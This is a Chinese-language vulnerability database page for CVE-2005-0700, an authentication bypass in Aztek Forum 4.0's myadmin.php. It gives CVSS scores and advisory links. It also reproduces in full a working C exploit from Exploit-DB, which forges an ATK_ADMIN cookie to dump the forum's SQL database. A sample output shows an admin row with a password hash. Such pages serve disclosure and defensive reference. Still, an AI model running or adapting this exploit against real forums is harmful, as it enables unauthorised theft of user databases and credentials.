CVE-2005-0700
CVSS5.0
发布时间 :2005-03-07 00:00:00
修订时间 :2008-09-05 16:47:03
NMCOE    

[原文]The export_index action in myadmin.php for Aztek Forum 4.0 allows remote attackers to obtain database files, possibly by setting the ATK_ADMIN cookie.


[CNNVD]Aztek Forum 'myadmin.php'未授权访问漏洞(CNNVD-200503-072)

        Aztek Forum 4.0的myadmin.php中存在export_index操作,远程攻击者有可能通过设置ATK_ADMIN Cookie获取数据库文件。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0700
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0700
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200503-072
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/12745
(VENDOR_ADVISORY)  BID  12745
http://www.frsirt.com/exploits/20050307.aztek.c.php
(VENDOR_ADVISORY)  MISC  http://www.frsirt.com/exploits/20050307.aztek.c.php

- 漏洞信息

Aztek Forum 'myadmin.php'未授权访问漏洞
中危 访问验证错误
2005-03-07 00:00:00 2005-10-20 00:00:00
远程  
        Aztek Forum 4.0的myadmin.php中存在export_index操作,远程攻击者有可能通过设置ATK_ADMIN Cookie获取数据库文件。

- 公告与补丁

        暂无数据

- 漏洞信息 (860)

Aztek Forum <= 4.0 [myadmin.php] Database Dumper Exploit (EDBID:860)
php webapps
2005-03-07 Verified
0 sirius_black
N/A [点击下载]
/* Changed line 81 - Tested and working /str0ke */

/*
 *   LOTFREE Team presents :
 * Forum-Aztek v4.0 (4nd pr0b4bly inf3ri0r) Database Dump Xpl0it
 * 0day dUd3 X-)
 *
 * ./aztek-sploit 127.0.0.1 admin forum
 * HTTP/1.1 200 OK
 * Date: Sat, 05 Mar 2005 22:18:13 GMT
 * Server: Apache/2.0.50 (Ubuntu) PHP/4.3.8
 * X-Powered-By: PHP/4.3.8
 * Set-Cookie: ATK_ADMIN=
 * Expires: Sat, 05 Mar 2005 22:18:13 GMT
 * Content-Disposition: attachment; filename="backup-admin-2005-5-03-23-18-13.sql"
 * Connection: close
 * Transfer-Encoding: chunked
 * Content-Type: application/force-download
 *
 * (...)
 * INSERT INTO atk_users VALUES ('admin','admin','atm5zzHCTXNkc',0,'',0,0,0,'','',0,0,'','',1109861125,63,'0','','','','','',0,0,'');
 *                            password in DES ---+^^^^^^^^^^^^^
 * (...)
 * sw333333t !
 * http://lotfree.next-touch.com
 */
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>

#define REQ1 "/myadmin.php?action=export_index&login="
#define REQ2 " HTTP/1.1\nHost: "
#define REQ3 "\nCookie: ATK_ADMIN=blah; ATK_LOGIN="
#define REQ4 "\nConnection: close\n\n"

unsigned long resolve (char *host) 
{
  struct in_addr in; 
  struct hostent *he; 
	    
  if((in.s_addr=inet_addr(host))==-1) 
  { 
    if((he=(struct hostent*)gethostbyname(host))==NULL) 
    { 
      herror("Resolving victim host"); 
      exit(1); 
    } 
    memcpy((caddr_t)&in, he->h_addr, he->h_length); 
  }
  return(in.s_addr); 
}

int main(int argc,char *argv[])
{
  int sock;
  struct sockaddr_in sin;
  char c;

  if(argc!=4)
  {
    printf("[*]--------------------------------[*]\n");
    printf(" | Aztek-Forum Database Dump Xploit |\n");
    printf(" |   sirius_black // LOTFREE Team   |\n");
    printf("[*]--------------------------------[*]\n\n");
    printf("Usage: %s <victim> <admin_login> <forum_directory>\n\n",argv[0]);
    printf("Exemple: %s www.tictactoe.com admin forum > database.sql\n\n",argv[0]);
    exit(1);
  }
  if((sock=socket(PF_INET,SOCK_STREAM,0))==-1)
  {
    perror("socket");
    exit(1);
  }
  sin.sin_family=AF_INET;
  sin.sin_port=htons(80);
  sin.sin_addr.s_addr=resolve(argv[1]);//  sin.sin_addr.s_addr=resolve("127.0.0.1");
  if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1)
  {
    perror("connect");
    exit(1);
  }
  send(sock,"GET /",5,0);
  send(sock,argv[3],strlen(argv[3]),0);
  send(sock,REQ1,sizeof(REQ1)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ2,sizeof(REQ2)-1,0);
  send(sock,argv[1],strlen(argv[1]),0);
  send(sock,REQ3,sizeof(REQ3)-1,0);
  send(sock,argv[2],strlen(argv[2]),0);
  send(sock,REQ4,sizeof(REQ4)-1,0);
  while((recv(sock,&c,1,0))==1)
  {
    putchar(c);
  }
  close(sock);
  return 0;
}

// milw0rm.com [2005-03-07]
		

- 漏洞信息

14632
Aztek myadmin.php export_index Function Authentication Bypass
Remote / Network Access Authentication Management
Loss of Integrity Solution Unknown
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2005-03-09 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站